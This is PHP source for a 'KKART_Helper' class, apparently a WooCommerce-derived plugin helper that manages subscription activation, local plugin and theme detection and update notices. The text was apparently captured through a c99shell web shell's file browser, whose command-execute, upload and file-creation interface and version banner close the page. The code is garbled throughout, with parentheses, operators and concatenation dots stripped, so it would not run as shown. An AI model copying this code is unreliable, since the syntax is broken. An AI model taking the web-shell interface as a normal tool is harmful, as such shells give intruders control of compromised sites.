$_GET['kkart-helper-nonce'] ) || ! wp_verify_noncewp_unslash$_GET['kkart-helper-nonce'] ), 'deactivate:' $product_key ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            
self::log'Could not verify nonce in _helper_subscription_deactivate' );
            
wp_die'Could not verify nonce' );
        }

        
$deactivation_response KKART_Helper_API::post(
            
'deactivate',
            array(
                
'authenticated' => true,
                
'body'          => wp_json_encode(
                    array(
                        
'product_key' => $product_key,
                    )
                ),
            )
        );

        
$code        wp_remote_retrieve_response_code$deactivation_response );
        
$deactivated 200 === $code;

        if ( 
$deactivated ) {
            
/**
             * Fires when the Helper activates a product successfully.
             *
             * @param int    $product_id Product ID being deactivated.
             * @param string $product_key Subscription product key.
             * @param array  $deactivation_response The response object from wp_safe_remote_request().
             */
            
do_action'kkart_helper_subscription_deactivate_success'$product_id$product_key$deactivation_response );
        } else {
            
self::logsprintf'Deactivate API call returned a non-200 response code (%d)'$code ) );

            
/**
             * Fires when the Helper fails to activate a product.
             *
             * @param int    $product_id Product ID being deactivated.
             * @param string $product_key Subscription product key.
             * @param array  $deactivation_response The response object from wp_safe_remote_request().
             */
            
do_action'kkart_helper_subscription_deactivate_error'$product_id$product_key$deactivation_response );
        }

        
self::_flush_subscriptions_cache();

        
$redirect_uri add_query_arg(
            array(
                
'page'                 => 'kkart-addons',
                
'section'              => 'helper',
                
'filter'               => self::get_current_filter(),
                
'kkart-helper-status'     => $deactivated 'deactivate-success' 'deactivate-error',
                
'kkart-helper-product-id' => $product_id,
            ),
            
admin_url'admin.php' )
        );

        
wp_safe_redirect$redirect_uri );
        die();
    }

    
/**
     * Deactivate a plugin.
     */
    
private static function _helper_plugin_deactivate() {
        
$product_id  = isset( $_GET['kkart-helper-product-id'] ) ? absint$_GET['kkart-helper-product-id'] ) : 0;
        
$deactivated false;

        if ( empty( 
$_GET['kkart-helper-nonce'] ) || ! wp_verify_noncewp_unslash$_GET['kkart-helper-nonce'] ), 'deactivate-plugin:' $product_id ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
            
self::log'Could not verify nonce in _helper_plugin_deactivate' );
            
wp_die'Could not verify nonce' );
        }

        if ( ! 
current_user_can'activate_plugins' ) ) {
            
wp_die'You are not allowed to manage plugins on this site.' );
        }

        
$local wp_list_filter(
            
array_merge(
                
self::get_local_woo_plugins(),
                
self::get_local_woo_themes()
            ),
            array( 
'_product_id' => $product_id )
        );

        
// Attempt to deactivate this plugin or theme.
        
if ( ! empty( $local ) ) {
            
$local array_shift$local );
            if ( 
is_plugin_active$local['_filename'] ) ) {
                
deactivate_plugins$local['_filename'] );
            }

            
$deactivated = ! is_plugin_active$local['_filename'] );
        }

        
$redirect_uri add_query_arg(
            array(
                
'page'                 => 'kkart-addons',
                
'section'              => 'helper',
                
'filter'               => self::get_current_filter(),
                
'kkart-helper-status'     => $deactivated 'deactivate-plugin-success' 'deactivate-plugin-error',
                
'kkart-helper-product-id' => $product_id,
            ),
            
admin_url'admin.php' )
        );

        
wp_safe_redirect$redirect_uri );
        die();
    }

    
/**
     * Get a local plugin/theme entry from product_id.
     *
     * @param int $product_id The product id.
     *
     * @return array|bool The array containing the local plugin/theme data or false.
     */
    
private static function _get_local_from_product_id$product_id ) {
        
$local wp_list_filter(
            
array_merge(
                
self::get_local_woo_plugins(),
                
self::get_local_woo_themes()
            ),
            array( 
'_product_id' => $product_id )
        );

        if ( ! empty( 
$local ) ) {
            return 
array_shift$local );
        }

        return 
false;
    }

    
/**
     * Checks whether current site has product subscription of a given ID.
     *
     * @since 3.7.0
     *
     * @param int $product_id The product id.
     *
     * @return bool Returns true if product subscription exists, false otherwise.
     */
    
public static function has_product_subscription$product_id ) {
        
$subscription self::_get_subscriptions_from_product_id$product_idtrue );
        return ! empty( 
$subscription );
    }

    
/**
     * Get a subscription entry from product_id. If multiple subscriptions are
     * found with the same product id and $single is set to true, will return the
     * first one in the list, so you can use this method to get things like extension
     * name, version, etc.
     *
     * @param int  $product_id The product id.
     * @param bool $single Whether to return a single subscription or all matching a product id.
     *
     * @return array|bool The array containing sub data or false.
     */
    
private static function _get_subscriptions_from_product_id$product_id$single true ) {
        
$subscriptions wp_list_filterself::get_subscriptions(), array( 'product_id' => $product_id ) );
        if ( ! empty( 
$subscriptions ) ) {
            return 
$single array_shift$subscriptions ) : $subscriptions;
        }

        return 
false;
    }

    
/**
     * Obtain a list of data about locally installed Woo extensions.
     */
    
public static function get_local_woo_plugins() {
        if ( ! 
function_exists'get_plugins' ) ) {
            require_once 
KKART_ADMIN_DIR 'includes/plugin.php';
        }

        
$plugins get_plugins();

        
/**
         * Check if plugins have KKART headers, if not then clear cache and fetch again.
         * KKART Headers will not be present if `kkart_enable_kkart_plugin_headers` hook was added after a `get_plugins` call -- for example when KKART is activated/updated.
         * Also, get_plugins call is expensive so we should clear this cache very conservatively.
         */
        
if ( ! empty( $plugins ) && ! array_key_exists'Woo'current$plugins ) ) ) {
            
wp_clean_plugins_cachefalse );
            
$plugins get_plugins();
        }

        
$woo_plugins = array();

        
// Backwards compatibility for woothemes_queue_update().
        
$_compat = array();
        if ( ! empty( 
$GLOBALS['woothemes_queued_updates'] ) ) {
            foreach ( 
$GLOBALS['woothemes_queued_updates'] as $_compat_plugin ) {
                
$_compat$_compat_plugin->file ] = array(
                    
'product_id' => $_compat_plugin->product_id,
                    
'file_id'    => $_compat_plugin->file_id,
                );
            }
        }

        foreach ( 
$plugins as $filename => $data ) {
            if ( empty( 
$data['Woo'] ) && ! empty( $_compat$filename ] ) ) {
                
$data['Woo'] = sprintf'%d:%s'$_compat$filename ]['product_id'], $_compat$filename ]['file_id'] );
            }

            if ( empty( 
$data['Woo'] ) ) {
                continue;
            }

            list( 
$product_id$file_id ) = explode':'$data['Woo'] );
            if ( empty( 
$product_id ) || empty( $file_id ) ) {
                continue;
            }

            
$data['_filename']        = $filename;
            
$data['_product_id']      = absint$product_id );
            
$data['_file_id']         = $file_id;
            
$data['_type']            = 'plugin';
            
$data['slug']             = dirname$filename );
            
$woo_plugins$filename ] = $data;
        }

        return 
$woo_plugins;
    }

    
/**
     * Get locally installed Woo themes.
     */
    
public static function get_local_woo_themes() {
        
$themes     wp_get_themes();
        
$woo_themes = array();

        foreach ( 
$themes as $theme ) {
            
$header $theme->get'Woo' );

            
// Backwards compatibility for theme_info.txt.
            
if ( ! $header ) {
                
$txt $theme->get_stylesheet_directory() . '/theme_info.txt';
                if ( 
is_readable$txt ) ) {
                    
$txt file_get_contents$txt );
                    
$txt preg_split'#\s#'$txt );
                    if ( 
count$txt ) >= ) {
                        
$header sprintf'%d:%s'$txt[0], $txt[1] );
                    }
                }
            }

            if ( empty( 
$header ) ) {
                continue;
            }

            list( 
$product_id$file_id ) = explode':'$header );
            if ( empty( 
$product_id ) || empty( $file_id ) ) {
                continue;
            }

            
$data = array(
                
'Name'        => $theme->get'Name' ),
                
'Version'     => $theme->get'Version' ),
                
'Woo'         => $header,

                
'_filename'   => $theme->get_stylesheet() . '/style.css',
                
'_stylesheet' => $theme->get_stylesheet(),
                
'_product_id' => absint$product_id ),
                
'_file_id'    => $file_id,
                
'_type'       => 'theme',
            );

            
$woo_themes$data['_filename'] ] = $data;
        }

        return 
$woo_themes;
    }

    
/**
     * Get the connected user's subscriptions.
     *
     * @return array
     */
    
public static function get_subscriptions() {
        
$cache_key '_kkart_helper_subscriptions';
        
$data      get_transient$cache_key );
        if ( 
false !== $data ) {
            return 
$data;
        }

        
// Obtain the connected user info.
        
$request KKART_Helper_API::get(
            
'subscriptions',
            array(
                
'authenticated' => true,
            )
        );

        if ( 
wp_remote_retrieve_response_code$request ) !== 200 ) {
            
set_transient$cache_key, array(), 15 MINUTE_IN_SECONDS );
            return array();
        }

        
$data json_decodewp_remote_retrieve_body$request ), true );
        if ( empty( 
$data ) || ! is_array$data ) ) {
            
$data = array();
        }

        
set_transient$cache_key$dataHOUR_IN_SECONDS );
        return 
$data;
    }

    
/**
     * Runs when any plugin is activated.
     *
     * Depending on the activated plugin attempts to look through available
     * subscriptions and auto-activate one if possible, so the user does not
     * need to visit the Helper UI at all after installing a new extension.
     *
     * @param string $filename The filename of the activated plugin.
     */
    
public static function activated_plugin$filename ) {
        
$plugins self::get_local_woo_plugins();

        
// Not a local woo plugin.
        
if ( empty( $plugins$filename ] ) ) {
            return;
        }

        
// Make sure we have a connection.
        
$auth KKART_Helper_Options::get'auth' );
        if ( empty( 
$auth ) ) {
            return;
        }

        
$plugin        $plugins$filename ];
        
$product_id    $plugin['_product_id'];
        
$subscriptions self::_get_subscriptions_from_product_id$product_idfalse );

        
// No valid subscriptions for this product.
        
if ( empty( $subscriptions ) ) {
            return;
        }

        
$subscription null;
        foreach ( 
$subscriptions as $_sub ) {

            
// Don't attempt to activate expired subscriptions.
            
if ( $_sub['expired'] ) {
                continue;
            }

            
// No more sites available in this subscription.
            
if ( $_sub['sites_max'] && $_sub['sites_active'] >= $_sub['sites_max'] ) {
                continue;
            }

            
// Looks good.
            
$subscription $_sub;
            break;
        }

        
// No valid subscription found.
        
if ( ! $subscription ) {
            return;
        }

        
$product_key         $subscription['product_key'];
        
$activation_response KKART_Helper_API::post(
            
'activate',
            array(
                
'authenticated' => true,
                
'body'          => wp_json_encode(
                    array(
                        
'product_key' => $product_key,
                    )
                ),
            )
        );

        
$activated wp_remote_retrieve_response_code$activation_response ) === 200;
        
$body      json_decodewp_remote_retrieve_body$activation_response ), true );

        if ( ! 
$activated && ! empty( $body['code'] ) && 'already_connected' === $body['code'] ) {
            
$activated true;
        }

        if ( 
$activated ) {
            
self::log'Auto-activated a subscription for ' $filename );
            
/**
             * Fires when the Helper activates a product successfully.
             *
             * @param int    $product_id Product ID being activated.
             * @param string $product_key Subscription product key.
             * @param array  $activation_response The response object from wp_safe_remote_request().
             */
            
do_action'kkart_helper_subscription_activate_success'$product_id$product_key$activation_response );
        } else {
            
self::log'Could not activate a subscription upon plugin activation: ' $filename );

            
/**
             * Fires when the Helper fails to activate a product.
             *
             * @param int    $product_id Product ID being activated.
             * @param string $product_key Subscription product key.
             * @param array  $activation_response The response object from wp_safe_remote_request().
             */
            
do_action'kkart_helper_subscription_activate_error'$product_id$product_key$activation_response );
        }

        
self::_flush_subscriptions_cache();
        
self::_flush_updates_cache();
    }

    
/**
     * Runs when any plugin is deactivated.
     *
     * When a user deactivates a plugin, attempt to deactivate any subscriptions
     * associated with the extension.
     *
     * @param string $filename The filename of the deactivated plugin.
     */
    
public static function deactivated_plugin$filename ) {
        
$plugins self::get_local_woo_plugins();

        
// Not a local woo plugin.
        
if ( empty( $plugins$filename ] ) ) {
            return;
        }

        
// Make sure we have a connection.
        
$auth KKART_Helper_Options::get'auth' );
        if ( empty( 
$auth ) ) {
            return;
        }

        
$plugin        $plugins$filename ];
        
$product_id    $plugin['_product_id'];
        
$subscriptions self::_get_subscriptions_from_product_id$product_idfalse );
        
$site_id       absint$auth['site_id'] );

        
// No valid subscriptions for this product.
        
if ( empty( $subscriptions ) ) {
            return;
        }

        
$deactivated 0;

        foreach ( 
$subscriptions as $subscription ) {
            
// Don't touch subscriptions that aren't activated on this site.
            
if ( ! in_array$site_id$subscription['connections'], true ) ) {
                continue;
            }

            
$product_key           $subscription['product_key'];
            
$deactivation_response KKART_Helper_API::post(
                
'deactivate',
                array(
                    
'authenticated' => true,
                    
'body'          => wp_json_encode(
                        array(
                            
'product_key' => $product_key,
                        )
                    ),
                )
            );

            if ( 
wp_remote_retrieve_response_code$deactivation_response ) === 200 ) {
                
$deactivated++;

                
/**
                 * Fires when the Helper activates a product successfully.
                 *
                 * @param int    $product_id Product ID being deactivated.
                 * @param string $product_key Subscription product key.
                 * @param array  $deactivation_response The response object from wp_safe_remote_request().
                 */
                
do_action'kkart_helper_subscription_deactivate_success'$product_id$product_key$deactivation_response );
            } else {
                
/**
                 * Fires when the Helper fails to activate a product.
                 *
                 * @param int    $product_id Product ID being deactivated.
                 * @param string $product_key Subscription product key.
                 * @param array  $deactivation_response The response object from wp_safe_remote_request().
                 */
                
do_action'kkart_helper_subscription_deactivate_error'$product_id$product_key$deactivation_response );
            }
        }

        if ( 
$deactivated ) {
            
self::logsprintf'Auto-deactivated %d subscription(s) for %s'$deactivated$filename ) );
            
self::_flush_subscriptions_cache();
            
self::_flush_updates_cache();
        }
    }

    
/**
     * Various Helper-related admin notices.
     */
    
public static function admin_notices() {
        if ( 
apply_filters'kkart_helper_suppress_admin_notices'false ) ) {
            return;
        }

        
$screen    get_current_screen();
        
$screen_id $screen $screen->id '';

        if ( 
'update-core' !== $screen_id ) {
            return;
        }

        
// Don't nag if Woo doesn't have an update available.
        
if ( ! self::_woo_core_update_available() ) {
            return;
        }

        
// Add a note about available extension updates if Woo core has an update available.
        
$notice self::_get_extensions_update_notice();
        if ( ! empty( 
$notice ) ) {
            echo 
'<div class="updated kkart-message"><p>' $notice '</p></div>'// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
        
}
    }

    
/**
     * Get an update notice if one or more Woo extensions has an update available.
     *
     * @return string|null The update notice or null if everything is up to date.
     */
    
private static function _get_extensions_update_notice() {
        
$plugins   self::get_local_woo_plugins();
        
$updates   KKART_Helper_Updater::get_update_data();
        
$available 0;

        foreach ( 
$plugins as $data ) {
            if ( empty( 
$updates$data['_product_id'] ] ) ) {
                continue;
            }

            
$product_id $data['_product_id'];
            if ( 
version_compare$updates$product_id ]['version'], $data['Version'], '>' ) ) {
                
$available++;
            }
        }

        if ( ! 
$available ) {
            return;
        }

        return 
sprintf(
            
/* translators: %1$s: helper url, %2$d: number of extensions */
            
_n'Note: You currently have <a href="%1$s">%2$d paid extension</a> which should be updated first before updating Kkart.''Note: You currently have <a href="%1$s">%2$d paid extensions</a> which should be updated first before updating Kkart.'$available'kkart' ),
            
admin_url'admin.php?page=kkart-addons&section=helper' ),
            
$available
        
);
    }

    
/**
     * Whether Kkart has an update available.
     *
     * @return bool True if a Woo core update is available.
     */
    
private static function _woo_core_update_available() {
        
$updates get_site_transient'update_plugins' );
        if ( empty( 
$updates->response ) ) {
            return 
false;
        }

        if ( empty( 
$updates->response['kkart/kkart.php'] ) ) {
            return 
false;
        }

        
$data $updates->response['kkart/kkart.php'];
        if ( 
version_compareConstants::get_constant'KKART_VERSION' ), $data->new_version'>=' ) ) {
            return 
false;
        }

        return 
true;
    }

    
/**
     * Flush subscriptions cache.
     */
    
public static function _flush_subscriptions_cache() {
        
delete_transient'_kkart_helper_subscriptions' );
    }

    
/**
     * Flush auth cache.
     */
    
public static function _flush_authentication_cache() {
        
$request KKART_Helper_API::get(
            
'oauth/me',
            array(
                
'authenticated' => true,
            )
        );

        if ( 
wp_remote_retrieve_response_code$request ) !== 200 ) {
            return 
false;
        }

        
$user_data json_decodewp_remote_retrieve_body$request ), true );
        if ( ! 
$user_data ) {
            return 
false;
        }

        
KKART_Helper_Options::update(
            
'auth_user_data',
            array(
                
'name'  => $user_data['name'],
                
'email' => $user_data['email'],
            )
        );

        return 
true;
    }

    
/**
     * Flush updates cache.
     */
    
private static function _flush_updates_cache() {
        
KKART_Helper_Updater::flush_updates_cache();
    }

    
/**
     * Sort subscriptions by the product_name.
     *
     * @param array $a Subscription array.
     * @param array $b Subscription array.
     *
     * @return int
     */
    
public static function _sort_by_product_name$a$b ) {
        return 
strcmp$a['product_name'], $b['product_name'] );
    }

    
/**
     * Sort subscriptions by the Name.
     *
     * @param array $a Product array.
     * @param array $b Product array.
     *
     * @return int
     */
    
public static function _sort_by_name$a$b ) {
        return 
strcmp$a['Name'], $b['Name'] );
    }

    
/**
     * Log a helper event.
     *
     * @param string $message Log message.
     * @param string $level Optional, defaults to info, valid levels: emergency|alert|critical|error|warning|notice|info|debug.
     */
    
public static function log$message$level 'info' ) {
        if ( ! 
Constants::is_true'WP_DEBUG' ) ) {
            return;
        }

        if ( ! isset( 
self::$log ) ) {
            
self::$log kkart_get_logger();
        }

        
self::$log->log$level$message, array( 'source' => 'helper' ) );
    }
}

KKART_Helper::load();

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.2009 ]--